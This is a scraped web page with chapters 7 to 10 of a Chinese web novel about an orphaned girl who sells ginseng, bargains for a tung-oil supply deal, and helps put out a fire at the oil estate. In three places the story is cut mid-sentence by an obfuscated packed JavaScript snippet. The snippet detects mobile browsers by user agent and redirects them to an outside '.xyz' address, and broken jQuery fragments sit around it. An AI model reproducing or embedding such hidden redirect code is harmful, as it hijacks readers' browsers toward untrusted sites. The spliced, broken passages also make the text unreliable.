房进利火气一下就上来了,刘三儿忙小声劝道:“这个吴顺是街道司的老人儿,脾气刚直了些,但捉贼很有两把刷子。” 刘三儿的本意是说此人可用,然他不了解房进利的性子,不晓得这么说只会让房进利觉着受到了威胁。 果然,房进利闻言一改先前的散漫,跟只斗鸡似地跳了起来,将吴顺打量了一遭,道:“老人儿是吧?有本事?那我就布置你带头去抓,今日下值之前若抓不住,别怪我不客气。” - 出了街道司衙门,同行的捕快皆有些忧心忡忡,这司副上值第一天便如此行事,以后的日子恐怕不好过。 有人问道:“吴爷,咱现在怎么办?” 吴顺手中将那张贼人的画像看了又看,道:“我看这贼子有些眼熟,说不准与咱前些日子抓的那盗马贼是一伙的。” 有人道:“那马坊的人会不会见过?” 吴顺点头:“走,去瞧瞧!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878588|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>- 城外的三家书馆,一曰云溪书院,规制不大,设施却极尽精雅,多收官宦子弟。一曰南山书馆,学子众多,治教极严。 还有一曰文德学馆,乃是这五家书院之中规制最大、风貌最朴实者。 房锦儿绕着馆院走了一圈,竟走得额角都冒了汗,问了问,才知这家学馆内舍生近四百,外舍生千人有余,比昨日所见的明经学馆大出一倍,几乎可比太学。 逸哥儿在校门前伸着脑袋望了又望,末了竟羡慕道:“要是我也能进这学馆便好了。” 房锦儿笑着问他:“逸哥儿想学甚么?” 这朝科举,既可考进士,也可考律、书、算、医诸科,既有文举,也有武举。 逸哥儿神色十分认真地想了想:“不知道。” 房锦儿笑道:“那你从今日便好生想一想,等阿姐赚了钱,先送你上私塾开蒙。” 姐弟三人在三家学馆之间来回穿梭了半日,终也不见那绿衣书生出现。到了未时,房锦儿决定作罢,还不如回去把招牌写了,为摆摊算卦做做准备。 姐弟三人便沿着来时的山路往回城方向走。 路过文德学馆附近时,房锦儿犹豫再三,决定再去碰最后一回运气,于是她又到学馆门前张望一番,这回巧了,让她碰见十几个背着竹书箱的书生正往里走,一看打扮就与那绿衣书生差不多。 她赶忙上去拉住一个,其余纷纷疑惑回头,趁着间隙,房锦儿挨个将人打量完毕—— 还是没有! 那几个书生莫名其妙,防备道:“诶诶诶,男女有别,小女娘拉我们要作甚?” “不作甚,看看。”房锦儿厚着脸皮赔笑。 那几个书生一听更是仿佛被非礼了一遭,红着脸赶忙走了。 房锦儿转身回去寻等在路边的锦云和逸哥儿。 哪知三人快行到山脚时,房锦儿眼角忽然瞥见石板路下草丛发亮,低身伸手一摸,竟捡起块带着紫穗的玉坠子! “阿姐,这可是个宝贝!” 两小只惊呼着围过来看。只见那坠子半指来长,通体白腻,温润如脂,雕作瑞兽模样。看这大小和底下串的穗儿,大概是个扇坠。 房锦儿抬头寻摸一圈不见失主,握了握,触手微凉,想是应当掉在这里有一会儿了,估摸着是哪家书院的书生落下的。 羊脂玉扇坠,用得起的也不是寻常书生,至少得是个官宦子弟。 “阿姐,咱要不拿去当了罢!这样你就不用辛苦给人算卦了。” 锦云望了望四周没人,扒着房锦儿耳朵小声道。 老实说,房锦儿不是没动这个心思。 可以她的身份,拿此物去当,定要惹人起疑,万一还是个绝无仅有的少见宝贝呢?怕是要惹祸上身。 可若不用罢,买油的本钱还没着落呢,真不要兵行险着?先把本钱弄到手再说? 届时赚了钱,可以再赎回来物归原主。 “我觉得不妥,阿姐,咱不能当,会招来麻烦的。还是先收好了,想办法寻一寻失主。” 逸哥儿是个心思缜密的,已然想到了更深一层。 房锦儿踌躇了片刻,终是没说当,也没说不当,从树上摘了几片新鲜的软叶把那玉扇坠包好了,好生收进怀里,带着两小只回了城。 - “吴爷,搜出来了!” 街道司的捕快对着门里大喊。吴顺手中擒着个壮汉,闻言扭着手一脚把人踹在地上,让人拿绳子过来捆了。 “搜出多少?” “全搜出来了,这贼子从西市药行偷来的一整车药材。吴爷,您可真行,还真让您说着了,就是盗马贼一伙的!”那捕快竖起大拇指。 “这几人先盗了马匹,再以马拉车运药,咱们若是再晚来些,就让他驾车跑了。” 另一个捕快牵着马车过来,车帘一掀,里头满是细线捆好的药包,那捕快看得眼睛发亮。 “还是现成的?”吴顺随手拿起一包,见上头写着“温补”二字。 他不动声色地看了看那牵马的小捕快,沉吟一瞬,向其他人吩咐道:“行,你们先将人押回去,车马我与毛富来押。” 捕快们领命去了。 叫毛富的小捕快牵马要走,吴顺拦住,从车上捡了几包药材递给他:“你阿娘身子不是一直不行么。” 毛富惊讶,忙道:“不不,吴爷,我不是这心思,我……” “拿着罢,我不会同他们说的。这一整车的药,谁看得出来?再说了,就咱这点月奉,哪够给你老娘买这好药。” 吴顺说着,自个也收起两包药材。 毛富这才犹豫着拿了药,道:“那……那,多谢吴爷。” 8. 第 8 章 “元甲,我扇坠不见了,帮我找找。” 顾济一把自个通身摸了一遍。 “那个鼻歪眼斜的白虎?”元甲应声放下手里的东西,过来跟着一块儿摸。 “你摸这儿作甚,别摸我啊你快去找。” “郎君,要我说,那玩意别要了罢,多旧了,还怪难看的。” “你少废话。”顾济一把将元甲推了出去,“我估摸着是掉在去学馆的路上了,你去找找。” 元甲哀嚎:“大晚上的,我找也看不见呐。” “那我不管,找不着别回来。”顾济一“砰”的一声关上了门,过了片刻,又开门伸头出来。 “回来时候顺便带点儿吃的,盛都的朝食我吃不惯,我想吃炊饼和肉干。” - 房锦儿用过米粥,正面带愁色,借着月光摩挲那捡到的玉扇坠时,听见薛湘在院子里唤了两声,她赶忙拿叶子把那扇坠包好,胡乱塞进身下的草垫里。 “锦儿,来,看我给你带了甚么好东西。” 薛湘笑着踏进门来,往房锦儿身旁一坐,塞给她两只捆着细线的纸包。 房锦儿眨眨眼睛,拿起来细看。 “温补……这是药材?你哪来的药材?” 薛湘笑道:“顺子刚拿回来的,说是专门给你带的,你身子不是还没好全么?煎去吃了,补一补。” 房锦儿一听,赶忙摇头把那药推回薛湘手里,道:“使不得使不得,你和吴大哥已经够照顾我们姐仨的了,我好了,早好了,这药你让吴大哥退了去,不能花这冤枉钱!” 自打穿来靠的就是吴家的接济,吴顺月奉不多,薛湘那匹彩布还没绣完,房锦儿见天看着她穿针引线,手都戳破了好几处。 哪有道理还要人家买药的。 这朝药有多贵她大致晓得,况且她真的好差不多了。 薛湘见她怎都不肯收,这才凑近耳朵,小声把吴顺抓了偷药贼的事情给她说了说。 …… “药给锦儿了?”吴顺见薛湘回来,把焐热了的床让出来,往里挪了挪。 薛湘钻进被窝里:“给了。一开始不要,我把你那事儿跟她从头到尾说了,才勉强收下的。” “嗯。” “不过你怎地突然想起拿药了?” “我是想着,像锦儿这般死而复生,是天降异象,不是大福便是大祸,让咱们碰上了,能帮就帮一把。要真是祸,反正也躲不开,要是福嘛,说不定咱也能跟着沾沾光。” “我不是说这个。” 吴顺知道她想问什么:“我要不先拿,毛富那小子肯定不敢接,他老娘病重,衙门里都知道。” 薛湘不大舒服地转了转身子:“反正我总觉得那个毛富城府深着呢,你别瞎做好人。” 吴顺没答,吹熄了灯。 - 那边吴家熄了灯,这边房锦儿就着一点点火光,小心翼翼地从那药材包里挑出一片黄褐带须的薄片,放到鼻子底下闻了闻。 好家伙。 “是参?” 房锦儿不敢相信地又闻了闻:“真是参。” 一天之内,又是捡到羊脂玉扇坠,又是发现邻居送的药材里有山参。 简直是天降甘霖。 看这色泽模样,细长,肉紧,须细,有环,气味甘香,应是山参,品相竟还不错。 “阿姐,山参是什么?”锦云和进逸一同凑过来,进逸手里还拿着照明的柴,房锦儿赶忙伸手把他挡了一挡,免得烧着了药材,然后才把那参片给二人看。 “山参乃是极其珍贵的药材,吃了使人补气养血,起死回生。” “这般厉害?” 小锦云嘴巴哦成了个圆圈,想也不想:“那阿姐吃!” 房锦儿笑道:“阿姐已经起死回生过一次了,再吃便不管用了。” 锦云便道:“那咱就拿去当了。” 这小囡奉行的乃是“阿姐第一、银子第二”的准则,对阿姐有益的紧着阿姐,阿姐不要的就拿去换钱。 房锦儿道:“阿姐也正有此意,不过不是当,是拿去卖。” 她把两小只叫过来,让进逸再去拿几支干柴,在地上点成个小火堆,把两包药材往地上一放,三人趴在地上。 “你们看,这种色微黄、带须的,闻着香,是山参,捡的时候要格外小心,不要弄断了根须。这种较厚些、表面粗糙的,闻着苦,则是白术。两种要分开捡,不管多小都挑出来……” 房锦儿一边讲,一边在心里打算着。 她本是已经动了当那扇坠的心思,如今有了这包药材,就不必冒那个险了,也不必去摆算命摊子骗人。 两包药材不多,能捡出来的山参和白术估摸着也不过几钱重。 房锦儿要求不高,足够买上二三斤桐油即可。 只要能买到油,她便有法子卖出去,加上桐油利润之高,届时二斤变四斤,四斤变八斤,她很快也能还上吴家这个人情。 - 因着药材的来路,房锦儿没打算去坊里的大药行,借来吴家的木桶打水梳洗干净,拿粗布绳子整齐绑了个侧麻花辫,径直去了城边儿上的一家小药铺子。 房锦儿在十三四岁的年纪中算是手长脚长的,就是太过瘦削,头发又枯又多,麻花辫搭在肩上像是能把她压垮了。 但也因此,显出几分吃苦耐劳的良家女娘模样,平惹人信任。 药铺的掌柜把她拿来的东西过了称,看着那山参片,眼睛亮了:“就这点儿?还有吗?” 房锦儿摇摇头。 掌柜低头拨了一阵算盘:“山参一钱,白术五钱,一共四百四十文,我做主凑个整,给你四百五十文。” “不卖。”房锦儿收了药,扶了扶肩上的蓝包袱。 “诶诶,别走啊。”掌柜急忙叫住她,沉吟一下,狠心又把算盘珠子拨上去一颗,“五百文!” 房锦儿扭头便走。 “你想要多少?”掌柜的急了。 房锦儿道:“我去李家的百种圆和闫家的香药铺都问过,李家嫌少不要,闫家说山参品相算不得最好,只能给一贯二百文。” 李家的百种圆和闫家的香药铺都是原身记忆里的,房锦儿只是知晓,从未去过,但她说得理直气壮。 那掌柜被唬得皱起眉头,嘀咕道:“知道得还挺多……” 其实,若是她道闫家说那山参好,他铁定不信,以闫家那德行,只会压价,绝不可能抬价。 可她说的是“品相算不得最好,只能给一贯二百文”,这倒是符合闫家药铺的作风了…… 掌柜的心一横:“我顶多出一贯,连同白术一齐,不卖便算了,你找闫家去。” “卖!” 房锦儿脸晴得比变天还快,眉眼弯弯地把药材往柜台上一搁。 拿着钱出了药铺,正好与一辆双轮马车擦肩而过。马车上有人撩开窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那人见她放开,耻笑一声,又要走,房锦儿也有些不悦了,再度把人一拦:“我是客人,郎君是东家伙计,客人有意求买贵庄桐油,伙计为何一意赶客?天下没有这般做买卖的道理,难不成要我亲自去问你们东家?” 这种目空余子的搅屎棍,房锦儿上辈子见得多了,一番话引得周围几个油匠驻足观望。 那人面上难堪,干脆刻薄道:“不卖散油你听不懂?我‘北氏桐油’乃江河以北第一大油庄,五百斤以下皆算散油,五百斤以上论量谈价。敢问娘子买几斤?五斤?十斤?抱歉,不卖。” 他斜斜睨了房锦儿身后的竹背篓一眼。 “即便如此,郎君何不能好生告知,非要端出目中无客的架子,给贵庄的好名声招损?” 那人讥道:“目中无客,你是客么?” 房锦儿闻言心中讪了一讪。 说真的,这事还得怪她前日太兴奋,走得太急,竟没问清楚油庄的规矩,实在不该。 可话说回来,既是赚钱的生意,又怎么可能平白无故便落到她手里? 房锦儿算是知道,为何那坊里五家学馆,千余等着用油的生徒,卖油的却只有那货郎一人了。 她把两手往身后一背,道:“我当然是客。你帮我通传东家,我有五百斤桐油要买。” 9. 第 9 章 “就你?” 那人满目鄙夷。 “我劝你还是莫耽误我们东家的时间,免得自取难看。” 房锦儿简直奇了怪了,这人与她头一回见面,一无纠葛二无冤仇,为何从一开始就对她恶语相向,非得把她赶走不可? 她低头看了看自己的衣裳,半新不旧的白裙和布鞋,有些尘土但不脏,加上今早特意梳洗了头发,衣着打扮并无失礼之处。 那便只能是他狗眼看人低。 可城中明明就有货郎那样倒油的小贩从此处进货,难不成他不知道? “不错,就我。”房锦儿道,“我买不买得成五百斤油不是你说了算。可若是我买成了,我便是你的贵客。” “趁我好生与你说个请字,你现在引我进去,我便不计较。若是等下让我自个进去买成了,我必会把你如何赶客的事情照实说,到时候你们东家如何处置,我可就管不了了。” 围观的油匠渐多,那人皱眉踌躇片刻,终是不情不愿地去通传了东家。 这北氏桐油的东家是位四十七八岁的女妇,人唤北夫人,生得面目庄重,不苟言笑。 身旁还跟着另一个拿簿子的白衣,一见房锦儿便认出来了:“是你?” 正是前日告知她油价的那个伙计。 北夫人道:“鸿文,你二人认识?” 鸿文道:“这位娘子前日来询过油价,恰是我接待的。” 房锦儿行了礼,说明来意。 “不必多礼,”北夫人将她打量几许,语气倒是比长相温和,“你是替家中主人来买桐油?” “并非,晚生想做桐油生意,替自己买油。” “替自己买油……”北夫人有些意外,“可我方才听说,你要买五百斤?” “是,也不是。” 房锦儿有些不好意思地笑笑:“若贵庄肯卖散油,那我便只买十斤,若贵庄规矩是五百斤起卖,那我便只好买五百斤了。” 北夫人道:“方才我庄上的伙计应当与你说过,我们北氏桐油从不散卖,五百斤已是最少,你可确定要得完?” 房锦儿踯躅片刻,道:“要得完,但不是一日,而是一月,不知夫人可否通融。” 她接着把要做的生意,以及心中的想法大胆说了一说。 她那日寻青衣书生不见,看货郎卖油,算出他每日背油二十余斤,货到即空,说明市场极大。 只不过以她的气力,二十斤肯定是背不动的,她估摸着十斤已是极限。 故此,她本是想先十斤十斤地买。 可眼下油庄有规矩,散买不行,那一次性定下五百斤油契也不是不可。 只要能允许她按日结算,每日十六七斤油,她眼下买得起,卖出去更不是难事,大不了让进逸也跟着来…… “对不住,我们油庄不做赊账的买卖。” 北夫人打断她。 “五百斤不是小数目,我庄上的桐油大多运往沿海州县,作造船之用,但也有几家油行商号会从我这儿采货,运到别处散卖,你不如去向他们采买。” 北夫人转头:“鸿文,将那几家油行的名号写给这位娘子。” “夫人且慢。” 这是要赶客了,房锦儿赶忙作揖。 油行她早便问过,价钱比那货郎还要高出十几文,即便多买,顶多也不过与货郎持平。 她要的不是油,她要的是利。 “向油行买油,其间利润已经分摊殆尽。晚生为寻贵庄花费了不少功夫,还请夫人再通融通融,只要夫人允我,我可以保证每月至少采货五百斤。” 北夫人摇头:“你可以保证,我却不能取信,更不能每月赊你五百斤的帐。” “若夫人愿意,我可以签年契,若采货量不足,夫人届时让我赔钱便是。夫人也可以将赊账视作借贷,我愿按月多付利息。” “各家有各家的规矩,你不必再言了。” 北夫人示意鸿文送客,鸿文将写好的一张纸笺递给房锦儿,上头当真写了几家油行的名字。 房锦儿仍不死心。 “可据晚生所知,盛都城中就有卖货的油郎是从贵庄采买,日易油二十斤,每日往返。可否请夫人告知货郎与贵庄签的是哪种契?油价几何?我亦愿按照此方法来。” 哪知北夫人闻言突然大为不悦。 “一派胡言!这是何意?你是怀疑我说一套做一套,故意不卖油与你?” “晚生不敢,晚生只是想买油,就事论事。” “那我便告诉你,我北氏桐油从未卖过散油,今日既不卖与你,从前也不卖与其他任何人。我好心将油行的名号写给你,你不领情便罢了,竟还信口雌黄。” 房锦儿虽吃了一惊,却观察北夫人的颜色,见她义正言辞,不像是恼羞成怒,反而像是真被人污蔑。 难道北夫人真不晓得那油郎? 这回轮到房锦儿意外了,莫不是她一开始便猜错了,货郎的油不是出自这里,她是靠着阴差阳错才找到这家桐油庄? 她一时间不知该如何开口,北夫人拂袖而去,临走前道:“今日之事我不与你计较,你莫要再来了。” 鸿文人倒是不错,悄声过来送房锦儿离庄,道:“你若真想做这生意,莫要放弃,我家东家脾气急,但实际宅心仁厚,或许还有转机。” 房锦儿急忙道:“那你可晓得有个盛都城的货郎日日来庄上买油?” 鸿文摇头:“真没有。你若能说动我家东家,你便是头一个了。” - 百思不得其解,接下来两日,房锦儿便专门去蹲守那卖货郎,果然被她蹲到。 她跟着那货郎出了金光门,一路上山,走的就是前往北氏桐油的路! 只是走到快到油庄时,那货郎便跟脚底抹了油似地,哧溜一下钻进树丛,房锦儿追上去,人早就不见了踪影,待到再见着,便是已经背着油回来了。 如此两回,房锦儿摸不着他究竟如何进的油庄、如何买到的油。 但至少能猜到一点,货郎的油来路不正,北夫人确实不知。 跟踪货郎不成,房锦儿只好再想办法见北夫人,可庄子没人引,进不去,她便只能在庄外等机会。 一连四五日,鸡鸣就出,天黑才回,见天地守在那北氏桐油庄外。 除了那个势力的白衣和几个喽啰,庄里的油匠和伙计大都跟她混了个眼熟。 房锦儿从不闲着,看人拉车便上去帮一把,看人调度运货忙不过来的,也适时帮几句。 渐渐地,油匠伙计们便也会时不时来与她攀谈,瞧她等得久了,还会送碗水给她喝。 这日,风刮得异常之大。 房锦儿在庄子门前守了半天仍未见到北夫人,便寻了个附近的坡地坐下,一边背对着风啃干粮,一边看油匠们拿布袋封油缸。 春日风大,怕有春汛,春汛之前,更怕的是春雷。 桐油庄子不防别的,防的就是火。 庄上数十个油仓,成千油桶,一个春雷砸下来,只要砸中一桶,大火嗤啦窜起来,完蛋的不仅是无数心血和铜钱,说不定还有油匠伙计的性命。 因此,北氏桐油防范的法子很是完备,封桶封仓皆有熟手操作,不容得外人帮忙。 房锦儿插不上手,只能旁观。 这坡是她这几日选中的宝地,地势高阔,上有绿树遮阴,又能眺望大半座油庄,更妙的是从坡上跑到庄子门前只需一眨眼,丝毫不怕错过北夫人出庄。 房锦儿目光打过一片齐整的仓房,落在最靠外的一间上。 为了防火,仓房之间留有足够距离,唯独最靠外那间,边儿上还挤着盖了间柴房。 一个眼熟的白衣身影在那间仓房门前晃动,与仓里的油匠指手画脚,动作似有些粗暴。 房锦儿心里一声冷哼。 这搅屎棍真是到哪都讨人嫌。 她这几日从油匠们口中得知,此子名叫王饷,是个横行霸道惯了的。 他父亲本是庄上的老油匠,因为几年前死在一场走水的事故当中,北夫人念其不幸,对王饷的行径时常睁一只眼闭一只眼,然而王饷却不知收敛,反而愈发胆大。 离得太远听不见声儿,房锦儿看着那油匠指着一口盛满油的缸,好似在对王饷解释些什么。 王饷叉腰摇头,那油匠有些急了,一跺脚,嘴里念叨了几句,转身往旁边的柴房跑去。 房锦儿看他从柴房里取出一盏提灯。 油庄里为了防火,仓房里不摆灯,而其余地方用的都是加了琉璃罩子的避风灯。 那油匠点着灯,盖好罩,便要回仓房里去。哪知他前脚刚出门,一阵大风呼啸而至,几乎将那提灯卷得翻了个个儿。 灯苗照亮脚底,房锦儿感觉那油匠脚下的石板路亮了一晃。 不是寻常的亮,而是路面浸了油,油光反射出的亮。 房锦儿直觉不对。 北氏桐油防火之法森严,路面有油滴落,必须当即清理干净。 无论是她这几日远观,还是那日进庄,北氏桐油的路面上从未有过漏油的痕迹。 她刚站起身,那大风又是一卷,这次直接把那油匠连灯带人拍在了地上! 灯苗着地,“呼哧”一声便蹿起一拃来高的火焰,沿着路面浸了油的地方,笔直往仓房烧了过去。 “走水啦!走水啦!” 房锦儿把剩下的半块干粮团成团往口中一塞,冲着便下了坡。 “救火!快救火!” 那间仓房离庄子大门有段距离,眼下又正是忙的时候,根本无人注意。房锦儿大喊着撞开门吏冲进庄时,众人皆是一愣,随即才犹豫着放下手中的活计,跟在她身后往里跑。 那火势比远观来得凶猛得多。 房锦儿第一个冲进火场,见那提灯的油匠被卷在正中,浑身着火,正捂着一只手痛苦地呻吟。 仓房附近都设有灭火用的沙池。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878590|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她迅速把身后的竹背篓一扔,单捡起陶罐,使九牛二虎之力从就近的沙池之中舀起半罐细沙,奋力往那油匠身上一泼。 “打滚!快打滚!” 那油匠似是听见她喊叫,得了生机一般,勉励左右翻滚起来,配合着房锦儿泼去的沙,他身上的火苗渐渐扑灭。 瞧见油匠得了救,房锦儿赶忙又顺着火路,携沙往仓房方向奔。 火果然是顺着地上的油渍而来的,越靠近仓库,烧得越旺。 房锦儿奔至仓门,那火焰已经蹿得一人多高,王饷被突如其来的大火吓傻了,跟个木雕似地站在仓房门前,瞧见房锦儿奔来,第一反应居然是拔腿就跑! 房锦儿一把将他拉住,指着仓房吼道:“你进去把地上的布袋都拾起来!我给你泼细沙!” 封缸的布袋涂了蜡,能防止空气流通,外头再以黄泥密封,便保证封好的桐油长时间不会变质或渗漏。 可若在上泥之前遇到明火,那就是极其易燃之物了,若不趁火烧进仓库之前捡起,恐怕整座仓都要完蛋。 王饷却仿佛听不懂她说话,只一味地摇头挣扎。 真是一坨烂泥。 房锦儿搡开王饷,任他连滚带爬地跑远,她四周烟雾缭绕,听声音,其他赶来的人恐怕还有些距离。 等不得了,她举起手中的陶罐,准备边泼边进。 “我进去!你替我泼沙!” 突然有人拉了她衣袖一把。 房锦儿猛然回头,见是蒙住了口鼻的鸿文。 “好!” - “湘娘娘——” 锦云糯叽叽的嗓音从门外传来,薛湘放下绣了一半的彩布,起身去开门。 门只开了一条缝,便透进股诱人的香味,薛湘无奈地笑着摇了摇头,将门敞开,果见一碗赤亮的酱蒸肉出现在眼前。 锦云捧着碗冲她噗嗤一笑。 “烫不烫?快进来。” 薛湘连忙帮她把碗端过来,招呼她进门,锦云跨过门槛回身招了招手,薛湘这才看见进逸也跟在后头过来了,手里还端着两碗冒热气儿的米粥。 “哎呀,真是……” 薛湘哭笑不得,只得赶忙去放了那碗酱蒸肉,又过来招呼进逸。 “不是都跟你们阿姐说不必再送了么,怎地又来啦?” 薛湘看着桌上的肉和粥,收罢,昨日送来的炒羊肉还没吃完呢,不收罢,这两小只指定不肯罢休,僵持到房锦儿回来,还是拗不过得收。 “阿姐说这是利息,必须得送。她说现在还没钱报答你和顺子叔,只能买些吃食,等过些时日她赚了钱,还要连本带利地还。” “可我和你顺子叔都吃胖了,吃不下了。” 薛湘笑着哄她。 “锦云乖,拿回去跟阿姐一齐吃,跟阿姐说湘娘娘知道她的心意了,以后不必再送了,好不好?” 锦云坚定摇头:“阿姐说你说的不算,她说的才算。” 薛湘叹气。 比倔,这房锦儿真是头一名。 命倔,嘿,性子更倔。 那日送了她两包药材,第二日傍晚,便端着一碟肉菜,带着两个小的过来道谢了,说是从那药材里头挑出几钱山参和白术,卖了一贯钱,准备用这笔钱做个卖油的营生。 薛湘和吴顺起先也吃了一惊。 本以为就是两包普普通通的温补药材,竟有山参?还能变卖成钱? 薛湘更讶异的是,山参这般名贵之物,他们寻常百姓大都只是听过名字而已,房锦儿居然能认得出来。 然左右都是送出去了的东西,房锦儿要怎么处置,都由得她。 即便知道了里头有值钱的药材,薛湘两口子也没动过后悔的念头,更不图房锦儿报答。 若这一贯钱真能救姐弟三人于水火,他们夫妻也算是积了德了。 可房锦儿非让两小只每天变着花样地送吃食,不收还不行。 薛湘只得把那碗酱蒸肉收下,又取来两个碗,把两碗米粥分作四碗,一碗留着给吴顺下值回来热了吃,另外三碗和兄妹俩现在用。 已经快到吃暮食的时候,这些天房锦儿不着家,好几回都是薛湘带着两小只一同吃。 “你们阿姐昨日可买到油了?”薛湘问。 锦云抿着嘴摇了摇头。 “人家嫌阿姐要得少,不肯卖。”进逸难得地插了句话。 “那何不去找找别家?” “阿姐说就这家便宜,利大。” “那也不能成日地守下去啊。” “阿姐说,这么好的利,就算守上一整月也值当。” 三人吃着米粥,时不时叨一筷子酱蒸肉,说着话,眼瞧着天色阴了起来,紧接着猝不及防,忽听“轰隆”一声巨响,竟是打春雷了。 薛湘“呀”了一声,直起身子问道:“你们阿姐有伞没有?” 两小只一愣,齐齐摇头,便听见雨“哗啦”地下起来了。 10. 第 10 章 鸿文从火场中捡完最后一个布袋,与房锦儿配合着拉上以黄泥夯实的仓门时,春雷恰好从天而降。 北氏桐油的一角没在冒着黑烟的火海之中,火铃大作,赶来的众人泼沙的泼沙,救人的救人,直到最后一丝火星被突如其来的春雨浇熄,所有人才算是松了一口气。 房锦儿手上、脸上沾满细沙和黄泥,衣裙被火烟熏燎得发了黑,再被雨水一冲刷,成了只瘦巴巴的落汤鸡。 她与鸿文一左一右抵在那仓房大门上,看着戛然而止的火势,终于双双卸下劲,瘫坐在地。 鸿文把掩面的麻布一拉,抹了一把被烟熏得发红的眼睛,喘道:“今日若不是你,油,油庄就完了。” 房锦儿弓着身子咳嗽了好一阵才直起身。 她同样是双眼通红,雨水把她脸颊拍湿,泡了水的麻花辫坠在胸前,碎发紧贴鬓额。 她咳完却笑起来,道:“油庄不能完,我还指,指着你们的桐油发财呢。” “命,命都差点儿没了,还想着发财。” “不想着发财,我才不,才不拼了命来救火。” 两人就这么瘫靠在仓门上,任雨稀里哗啦地浇泼着,有一搭没一搭地说话,吃了两嘴巴的水。 鸿文笑道:“那,那要是我们东,东家,还是不同意卖油给你,怎办?” 房锦儿道:“那我就祝,祝你们多烧几回,我回回来救火,救到北夫人卖油给我为止。” 鸿文竖起大拇指:“好,好个要钱不要命的。” 房锦儿有气无力地拱了拱手:“过奖过奖。” 火势尽去,剩下的便好办得多。 庄上的火铃响过,几乎全庄的油匠和伙计都赶来帮忙,有人搀起房锦儿和鸿文,送来挡雨的蓑衣斗篷,把两人分别接进屋内,又有小丫鬟帮着房锦儿擦干了全身。 房锦儿手上被砂砾划破几道口子,肩上还有一小块灼伤,都上了药膏。 问了问那个被火烧伤的油匠,说是已经救下了,庄上的医工正在治。 又问了那王饷,说是还未找着,不知被吓得跑到哪里去了。 房锦儿站在屋门前向外眺望,远远看见北夫人披着蓑衣匆匆而过,亲自指挥众人清理火场。 待到雨停,已是天色尽暗。 房锦儿怕弟弟妹妹担忧,休息得差不多了便不准备多留,要回了背篓和陶罐,起身作别服侍她的两个小丫鬟。 “替我转告鸿文郎君,我明日再来。” 哪知才出了庄子大门,便听后头有人唤她,转过身去,见是鸿文带着两个小厮。 鸿文头上缠着道纱布,道:“我们东家请你留步。” 房锦儿一怔。 鸿文挤挤眼睛:“不是想发财么,请罢?” …… 北夫人正蹲在火场正中,两个伙计给她打着灯,让她躬身检查路面的火痕。 见他二人来了,直起身来。 房锦儿刚要见礼,被鸿文一把托住。 北夫人开口便道:“你胆量不小啊。” 房锦儿被她说得一懵,以为会错了意,正要辩驳,又听她道:“不只敢日日蹲守在我庄前,还敢冲进如此火场,救下我庄上的油匠和这座仓房。我看你不只是胆量不小,野心亦是不小。” 房锦儿低头摸了摸鼻尖:“事发突然,晚生来不及多想。” 北夫人借着那两盏幽光打量着房锦儿:“野心并非坏事,为何敢想不敢认?” 房锦儿道:“晚生并未否认。” 她只说救火事急,可没说其中不含私心。 北夫人这才笑了,道:“今日之事,我欠你一个谢字。若非你有此胆量和义举,我北氏桐油,今日恐怕损失惨重。” 她面色疲惫,模样却比上回温和许多。 “我晓得你日日在庄外等我,还是想要我卖散油。” 房锦儿道是。 “你救了我的油庄,你的要求,我理应成全。这样罢,我现在便让鸿文写下契书,专允你从北氏桐油采买散油,每斤三十五文,你看如何?” “三十五文?” 房锦儿有些不敢相信地眨了眨眼。 不是说每斤四十么,这是每斤又便宜了她五文? 那若卖出去……便是每斤利润三十五文,整整一倍,还有这般好事? 北夫人见她犹豫不决:“太便宜了?那便还是按四十——” “不必!”房锦儿急急摆手打断,笑道,“三十五甚好,甚好!就按夫人说的来。” “鸿文。”北夫人点头,有小厮端来笔墨,她示意鸿文拟契。 “但我亦有两个条件。” “夫人请讲。” “第一,五百斤的规矩,不能坏。我虽破例允你采买散油,但你仍要保证,每年至少采油五百斤,可否做到?” 莫说每年五百斤,以大安坊周边五家学馆生徒之量,即便是每月五百斤,也不在话下。 房锦儿道:“可。” 北夫人继续道:“第二,你须得把你今日所见,走水之事究竟因何而起,如实告知于我,你可愿意?” 这更无不可。 鸿文在一旁奋笔疾书,房锦儿便把今日之事一五一十,事无巨细地讲给了北夫人听。 说到那路面上的油渍之时,北夫人皱了皱眉。 房锦儿亦觉着此处最为怪异,然她并非庄内人,对此也不好过多揣测,便只管把实情都说了,其余由他们自行勘察去。 拟好了契书,按了印,房锦儿作别北夫人,终于再次出了油庄。 采货的大事一了却,她浑身舒坦,倦意全无,连身上的伤都不疼了,恨不能立马背一缸油回去卖光。 鸿文照例送她离庄,甩着酸痛的胳膊道:“行了行了,这回省得你再救火了,我这条小命也不必再担惊受怕喽。” 房锦儿瞥了他一眼,笑道:“你替我跟北夫人说好话了?怎地还多让了我五文的利?” 鸿文笑道:“我同东家说你这人贪,不多给些利怕不好打发。” 房锦儿啧了一声,可惜道:“那早知我便再多要五文了。” 